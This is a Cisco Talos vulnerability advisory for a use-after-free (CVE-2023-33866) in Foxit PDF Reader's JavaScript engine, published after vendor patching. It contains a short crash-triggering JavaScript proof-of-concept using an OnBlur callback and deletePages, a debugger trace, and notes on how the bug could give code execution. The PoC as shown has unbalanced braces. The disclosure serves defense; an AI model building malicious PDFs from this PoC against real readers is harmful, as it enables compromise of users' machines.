Talos Vulnerability Report

TALOS-2023-1757

Foxit Reader Field OnBlur event use-after-free vulnerability

July 19, 2023
CVE Number

CVE-2023-33866

SUMMARY

A use-after-free vulnerability exists in the JavaScript engine of Foxit Software’s PDF Reader, version 12.1.2.15332. By prematurely deleting objects associated with pages, a specially crafted PDF document can trigger the reuse of previously freed memory, which can lead to arbitrary code execution. An attacker needs to trick the user into opening the malicious file to trigger this vulnerability. Exploitation is also possible if a user visits a specially crafted, malicious site if the browser plugin extension is enabled.

CONFIRMED VULNERABLE VERSIONS

The versions below were either tested or verified to be vulnerable by Talos or confirmed to be vulnerable by the vendor.

Foxit Reader 12.1.2.15332

PRODUCT URLS

Foxit Reader - https://www.foxitsoftware.com/pdf-reader/

CVSSv3 SCORE

8.8 - CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:H/A:H

CWE

CWE-416 - Use After Free

DETAILS

Foxit PDF Reader is one of the most popular PDF document readers. It aims for feature parity with Adobe’s Acrobat Reader. As a complete and feature-rich PDF reader, it supports JavaScript for interactive documents and dynamic forms. JavaScript support poses an additional attack surface. Foxit Reader uses the V8 JavaScript engine.

Javascript support in PDF renderers and editors enables dynamic documents that can change based on user input or events. There exists a use-after-free vulnerability in the way Foxit Reader handles certain events of form elements, such as text fields or buttons. This can be illustrated by the following proof-of-concept code:

function main() { 

getField("txt2").setAction("OnBlur",'f15();');

this.getField('txt2').setFocus();
try {  this.getField('Push Button0').setFocus();


this.getField('txt2').setFocus(); 
this.getField('txt5').setFocus();
this.deletePages(); 
}



function f15() { 

this.deletePages(); 
this.pageNum = 1; 

}

The above code simply assigns a callback function to OnBlur action for field txt2, which is promptly triggered by a call to setFocus on another field. In the action callback, all that happens is a call to deletePages, which in turn ends up freeing a large number of objects. Additionaly, another setFocus call is made in this event handler that gets put on event loop queue. After the execution returns to event handler, a use-after-free is triggered. We can observe the following in the debugger (with PageHeap enabled):

0:000> g
Breakpoint 2 hit
eax=04d31bd8 ebx=2681af80 ecx=436d6fc8 edx=0060f398 esi=1c766fc0 edi=00000001
eip=019e6e19 esp=0060f3f4 ebp=0060f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa99:
019e6e19 53              push    ebx                                                                 ; [1]
0:000> dd ebx
2681af80  04d4d534 47e42ff8 35b87520 21feef60
2681af90  c0c0c000 00000001 1c74afd8 01000101
2681afa0  00000004 00000000 265daff0 00000000
2681afb0  1c748f9c 1f426c50 1da86ff8 00000000
2681afc0  00000000 00000000 00000000 00000000
2681afd0  00000010 00000000 00000000 00000000
2681afe0  0000000a 00000000 00000000 00000000
2681aff0  c0c0c000 00000000 14430fe8 00000000
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa99:
019e6e19 53              push    ebx
019e6e1a 8b404c          mov     eax,dword ptr [eax+4Ch]
019e6e1d ffd0            call    eax
019e6e1f 84c0            test    al,al
019e6e21 0f8462ffffff    je      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa09 (019e6d89)
019e6e27 8b03            mov     eax,dword ptr [ebx]
019e6e29 8bcb            mov     ecx,ebx
019e6e2b ff5010          call    dword ptr [eax+10h]
0:000> bp 019e6e1f                                                                                ;  [2]
0:000> p
eax=04d31bd8 ebx=2681af80 ecx=436d6fc8 edx=0060f398 esi=1c766fc0 edi=00000001
eip=019e6e1a esp=0060f3f0 ebp=0060f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa9a:
019e6e1a 8b404c          mov     eax,dword ptr [eax+4Ch] ds:002b:04d31c24=019f15b0
0:000> 
eax=019f15b0 ebx=2681af80 ecx=436d6fc8 edx=0060f398 esi=1c766fc0 edi=00000001
eip=019e6e1d esp=0060f3f0 ebp=0060f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa9d:
019e6e1d ffd0            call    eax {FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x29a230 (019f15b0)}  ;[3]
0:000> 
Breakpoint 0 hit
eax=0060e8f8 ebx=0060e964 ecx=02bc0420 edx=00000000 esi=320c7ff8 edi=44788ff8
eip=02eee239 esp=0060e8d0 ebp=0060e910 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!FXJSE_GetClass+0x269:
02eee239 ffd1            call    ecx {FoxitPDFReader!safe_vsnprintf+0xf13360 (02bc0420)}    ;  [4]  Doc.deletePages
0:000> g
Breakpoint 3 hit
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e1f esp=0060f3f4 ebp=0060f468 iopl=0         nv up ei pl zr na pe nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200246
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa9f:
019e6e1f 84c0            test    al,al                                                      ; [5]
0:000> dd 2681af80   
2681af80  ???????? ???????? ???????? ????????
2681af90  ???????? ???????? ???????? ????????
2681afa0  ???????? ???????? ???????? ????????
2681afb0  ???????? ???????? ???????? ????????
2681afc0  ???????? ???????? ???????? ????????
2681afd0  ???????? ???????? ???????? ????????
2681afe0  ???????? ???????? ???????? ????????
2681aff0  ???????? ???????? ???????? ????????
0:000> p
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e21 esp=0060f3f4 ebp=0060f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa1:
019e6e21 0f8462ffffff    je      FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28fa09 (019e6d89) [br=0]
0:000> 
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e27 esp=0060f3f4 ebp=0060f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00200202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03            mov     eax,dword ptr [ebx]  ds:002b:2681af80=????????          ; [6]
0:000> 
(26e4.19cc): Access violation - code c0000005 (first chance)
First chance exceptions are reported before any exception handling.
This exception may be expected and handled.
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e27 esp=0060f3f4 ebp=0060f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03            mov     eax,dword ptr [ebx]  ds:002b:2681af80=????????
0:000> 
(26e4.19cc): Access violation - code c0000005 (!!! second chance !!!)
eax=00000001 ebx=2681af80 ecx=a92bc327 edx=00000000 esi=1c766fc0 edi=00000001
eip=019e6e27 esp=0060f3f4 ebp=0060f468 iopl=0         nv up ei pl nz na po nc
cs=0023  ss=002b  ds=002b  es=002b  fs=0053  gs=002b             efl=00210202
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03            mov     eax,dword ptr [ebx]  ds:002b:2681af80=????????
0:000> u
FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7:
019e6e27 8b03            mov     eax,dword ptr [ebx]
019e6e29 8bcb            mov     ecx,ebx
019e6e2b ff5010          call    dword ptr [eax+10h]                                    ; [7]
019e6e2e 53              push    ebx
019e6e2f 6a00            push    0
019e6e31 8bc8            mov     ecx,eax
019e6e33 8b10            mov     edx,dword ptr [eax]
019e6e35 ff5270          call    dword ptr [edx+70h]


0:000> !ext.heap -p -a 2681af80  

0:000> kb
 # ChildEBP RetAddr      Args to Child              
WARNING: Stack unwind information not available. Following frames may be wrong.
00 0060f468 01c69071     00000000 a94b37bf 2681af80 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x28faa7
01 0060f498 0112273b     2249fb78 a94b3617 4b31cf7c FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x511cf1
02 0060f530 00aecae4     2681af80 a94b36b3 7fffffff FoxitPDFReader!std::basic_ios<char,std::char_traits<char> >::fill+0x2e7e9b
03 0060f594 00c851b1     47e42ff8 35b8e540 00c85180 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x7da4
04 0060f5a8 0433d52b     1a24aff8 00000000 a94b355f FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::put+0x626a1
05 0060f678 0433e704     00000427 1a24aff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d0dfb
06 0060f69c 043390aa     00000427 1a24aff8 00000000 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1d1fd4
07 0060f710 0433991d     0f40ae20 002c02de 00000427 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cc97a
08 0060f730 76dd23a3     002c02de 00000427 1a24aff8 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x1cd1ed
09 0060f75c 76dc30b6     043398e9 002c02de 00000427 USER32!_InternalCallWinProc+0x2b
0a 0060f854 76dc1975     043398e9 00000000 00000427 USER32!UserCallWinProcCheckWow+0x4c6
0b 0060f8d0 76dc14c0     00000427 0060f8f8 00c0d3c4 USER32!DispatchMessageWorker+0x4a5
0c 0060f8dc 00c0d3c4     0f41eec8 0f41eec8 061a7798 USER32!DispatchMessageW+0x10
0d 0060f8f8 00c0d483     061a7798 00c0d3f0 ffffffff FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128684
0e 0060f918 0475b2fe     00000000 061d3b14 07762000 FoxitPDFReader!std::basic_ostream<char,std::char_traits<char> >::operator<<+0x128743
0f 0060f930 04520cc0     007f0000 00000000 0c1b4360 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x5eebce
10 0060f97c 75f67d59     07762000 75f67d40 0060f9e4 FoxitPDFReader!FPDFSCRIPT3D_OBJ_Node__Method_DetachFromCurrentAnimation+0x3b4590
11 0060f98c 772fb74b     07762000 5ddcd913 00000000 KERNEL32!BaseThreadInitThunk+0x19
12 0060f9e4 772fb6cf     ffffffff 77328651 00000000 ntdll!__RtlUserThreadStart+0x2b
13 0060f9f4 00000000     04520d8f 07762000 00000000 ntdll!_RtlUserThreadStart+0x1b

At [1] above, we see a function argument being pushed onto the stack. The value being pushed comes from the register ebx. At [2], a breakpoint is set on the address after a call to the function to examine the function argument. The function is called at [3] which in turn calls the method associated with deletPage at [4]. This method frees a large number of objects. Once the function returns, the value passed to the function is checked at [5]. It can be observed that the memory pointed to by the register ebx is freed. At [6], the value in ebx is dereferenced as if it were an object pointer. This directly leads to a use-after-free condition and results in a crash. Subsequent instructions constitute the usual vtable function call, with the actual function pointer coming from the area pointed to by ebx, which would give an attacker direct control over execution control flow.

Since additional Javascript code can be executed between object free and reuse, freed memory could be put under attacker control. With careful memory layout manipulation, this can lead to further memory corruption and ultimately arbitrary code execution. Additionally, it should be noted that this vulenrability is very similar to a previously reported use-after-free that was tracked as CVE-2021-40420 and TALOS-2021-1429.

VENDOR RESPONSE

Foxit provided patches here: https://www.foxit.com/downloads/#Foxit-Reader/ and here: https://www.foxit.com/downloads/#Foxit-PhantomPDF-Business/

TIMELINE

2023-06-12 - Vendor Disclosure
2023-07-19 - Vendor Patch Release
2023-07-19 - Public Release

Credit

Discovered by Kamlapati Choubey and Aleksandar Nikolic of Cisco Talos.